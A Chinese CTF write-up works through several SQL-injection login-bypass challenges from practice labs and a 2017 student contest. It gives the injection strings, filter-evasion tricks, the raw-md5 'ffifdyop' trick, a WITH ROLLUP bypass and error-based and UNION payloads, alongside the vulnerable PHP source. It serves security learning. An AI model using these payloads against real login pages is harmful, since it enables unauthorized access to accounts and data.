CTF| SQL注入之login界面
SQL注入是CTF WEB方向必不可少的一种题型,斗哥最近也做了一些在线题目,其中最常见的题目就是给出一个登录界面,让我们绕过限制登录或者一步步注入数据。
万能密码—very easy
题目入口:
http://lab1.xseclab.com/sqli2_3265b4852c13383560327d1c31550b60/index.php
题目来源:hacking lab inject 01~
源代码有提示:
万能密码登录语句构造:
select * from admin where username='admin'and 1=1 #' and password='123456'
OR
select * from admin where username='admin'or 1 #' and password='123456'
或者不需要admin 。
select * from admin where username='1'or 1 or 1 #' and password='123456'
还可以用#来注释
select * from admin where username='admin'#' and password='123456'
万能密码— easy
题目入口:
http://redtiger.labs.overthewire.org/level2.php 题目来源:RedTigers Hackit Level 2 Simple login-bypass
做题密码:4_is_not_random 构造语句: username=1&password=1'or'1'or'1&login=Login
万能密码— not than easy
题目入口:
http://ctf5.shiyanbar.com/web/wonderkun/web/index.html 题目来源:实验吧,不要怀疑,我已经过滤了一切,还再逼你注入,哈哈哈哈哈!
常规方式使用万能密码,发现'没有被过滤,or,--+,#被过滤。
假设后台sql查询语句为: select * from user where username='$user' and password='$pass' 构造payload: username=reborn'='&password=reborn'='
select * from user where username='reborn'='' and password='reborn'=''
username='reborn'返回值为0,相当于false,然后0=''的结果为1,相当于true。 所以注入语句相当于:
select * from user where 1 and 1
万能密码— little hard ?
题目入口:http://123.59.52.228:1515/route.php?act=index 题目来源:2017年全国大学生信息安全竞赛的web题。
提交的时候,返回包有提示这么一个sql语句: select count(*) from t_info where username = '1' or nickname = '1' ' 转义 转义 \ " 转义 " 空格被过滤:但'可以转义掉原本的' name=or 1 #'&submit=check select count(*) from t_info where username = 'or1#' or nickname = 'or1#' 用%09代替空格,%09是制表符的URL编码 name=or%091%09#'&submit=check select count(*) from t_info where username = 'or 1 #' or nickname = 'or 1 #'good job 跟随302跳转。
万能密码— md5($pass,true)
题目入口:http://web.jarvisoj.com:32772/ 题目来源:jarvis oj,Login:需要密码才能获得flag哦。
本题是一个登录页面。
通过burp抓包拦截,返回包有提示:
Hint: "select * from `admin` where password='".md5($pass,true)."'"
* md5(string,raw)* string 必需。规定要计算的字符串。 raw 可选。规定十六进制或二进制输出格式:
TRUE - 原始 16 字符二进制格式
FALSE - 默认。32 字符十六进制数如果md5计算后的值经过hex转成字符串后为 ”or’xxx’这样的字符串,则拼接后构成的语句为:
select * from `admin` where password=''or'xxx'
下面提供两个payload: content: 129581926211651571912466741651878684928 hex: 06da5430449f8f6f23dfc1276f722738 raw: ?T0D??o#??'or'8.N=?
content: ffifdyop hex: 276f722736c95d99e921722cf9ed621c raw: '?T0D??o#??'or'8.N=?
类似题目: 题目入口:
http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/ 题目来源:hacking lab inject 09~ 看到源代码password='".md5($_GET['pwd'], true),就知道这道题和题目3的解法是一致的。 http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/?userid=1&pwd=ffifdyop
万能密码— with rollup
题目入口:
http://ctf5.shiyanbar.com/web/pcat/index.php
题目来源:实验吧 访问链接是登录页面:
查看网页源代码有提示:
访问:http://ctf5.shiyanbar.com/web/pcat/source.txt 得到题目源代码。
<?php
error_reporting(0);
if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
echo '<form action="" method="post">'."<br/>";
echo '<input name="uname" type="text"/>'."<br/>";
echo '<input name="pwd" type="text"/>'."<br/>";
echo '<input type="submit" />'."<br/>";
echo '</form>'."<br/>";
echo '<!--source: source.txt-->'."<br/>";
die;
}
function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){
$StrValue=implode($StrValue);
}
if (preg_match("/".$ArrReq."/is",$StrValue)==1){
print "水可载舟,亦可赛艇!";
exit();
}
}
$filter = "and|select|from|where|union|join|sleep|benchmark|,|(|)";
foreach($_POST as $key=>$value){
AttackFilter($key,$value,$filter);
}
$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
$key = mysql_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "亦可赛艇!";
}
}else{
print "一颗赛艇!";
}
mysql_close($con);
?>
从源代码得出,注入点在uname这个位置上,$filter没有过滤掉 or
注入成功要满足几个条件:
1. mysql_num_rows($query) == 1 即查询返回的结果行数为1。
2. $key['pwd'] == $_POST['pwd'] 即查询返回的结果与POST发送的pwd值相同。
解题: group by pass with rollup 的技巧。
mysql> select user from users group by user;
+---------+
| user |
+---------+
| 1337 |
| admin |
| gordonb |
| pablo |
| smithy |
+---------+
5 rows in set
mysql> select user from users group by user with rollup;
+---------+
| user |
+---------+
| 1337 |
| admin |
| gordonb |
| pablo |
| smithy |
| NULL |
+---------+
6 rows in set
可以发现,在加上with rollup之后,返回pass最后一行多了一个NULL。当我们POST的pass为空,即可满足$key['pwd'] == $_POST['pwd']条件。
如何让返回的结果只取最后一行呢? 因为过滤了,所以无法使用limit 5,1这样的语法 , 可以使用limit 1 offset 5
mysql> select user from users group by 1 with rollup limit 1 offset 5;
+------+
| user |
+------+
| NULL |
+------+
1 row in set
所以最终 payload 如下,2为遍历出来的值 。 uname=' or 1=1 group by pwd with rollup limit 1 offset 2#&pwd=
万能密码— 程序逻辑
题目入口:
http://ctf5.shiyanbar.com/web/5/index.php 题目来源:实验吧,程序逻辑问题 本题源代码:
http://ctf5.shiyanbar.com/web/5/index.txt
<html>
<head>
welcome to simplexue
</head>
<body>
<?php
if($_POST[user] && $_POST[pass]) {
$conn = mysql_connect("********, "*****", "********");
mysql_select_db("phpformysql") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]);
$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
printf("Error: %sn", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];
if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
echo "<p>Logged in! Key:************** </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
?>
<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.txt">
</html>
首先可以发现user处存在注入点,并且会回显错误信息,第一个想到的是报错注入。
user=admin'and (extractvalue(1,concat(0x7e,(select pw from php where user ='admin' limit 0,1),0x7e)))#&pass=111
结果密码并不是admin/111
user=admin'and (extractvalue(1,concat(0x7e,(select pw from phpformysql.php limit 0,1),0x7e)))#&pass=111
结果提示:
既然是程序逻辑漏洞,然就继续看代码吧。
if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
echo "<p>Logged in! Key:************** </p>";
}
判断sql查询返回的值和$pass做比较。strcasecmp比较两个字符串,且不区分大小写,相等返回0。
既然user存在注入,我们可以让返回的结果为任何值,只要等于我们输入pass的md5值。 如:reborn的md5加密的值为5ce3c6e5c3f84bdc0f45148adfd16ae6 因此我们可以构造payload:
user='union select '5ce3c6e5c3f84bdc0f45148adfd16ae6'#&pass=reborn 结果:
- RedHat7下PostGIS源码安装
- C++ string类的学习
- R语言学习 - 非参数法生存分析
- 初学File类
- R语言学习 - 图形设置中英字体
- 递归思想解决输出目录下的全部文件
- Linux学习 - 又双叒叕一个软件安装方法
- 在Python中实现你自己的推荐系统
- 在Java中如何实现“Pless presss any key to continue.”
- 震惊小伙伴的Python单行代码
- 如何打造一款可靠的WAF(Web应用防火墙)
- 为啥我的Python这么慢 (一)
- 矩阵的基本知识构造重复矩阵的方法——repmat(xxx,xxx,xxx)构造器的构造方法单位数组的构造方法指定公差的等差数列指定项数的等差数列指定项数的lg等差数列sub2ind()从矩阵索引==》
- 简单的Writer和ReaderWriter的主要方法Writer工作原理Reader的主要方法readLine():String
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 快速学习-RocketMQ Dledger集群搭建
- 原创 | 你能想出解法,让你的基友少氪金吗?
- 快速学习-ElasticJob运维平台
- 第34期:最后一个单词的长度(高频)
- 原创 | 学会这三个命令,你就不再是git只会用三板斧的菜鸟了
- 构建Flink第一个应用程序
- 第35期:从 DFS 学习二叉树!(适合小白)
- ROS自平衡车案例学习(机器人操作系统+现代控制理论融合)
- Git 不能提交空目录?我也是醉了!
- 相关矩阵、特征、预测、股市!(附代码)
- CentOS7下编译安装libmodbus库
- 你还以为使用 StringBuffer 就万事大吉了?
- Windows10中VS2017环境下使用libmodbus库Modbus TCP读取设备的数据
- 记一次生产服务器进程突然消失问题排查!
- 0812-7.1.3-如何使用Ranger给HBase授权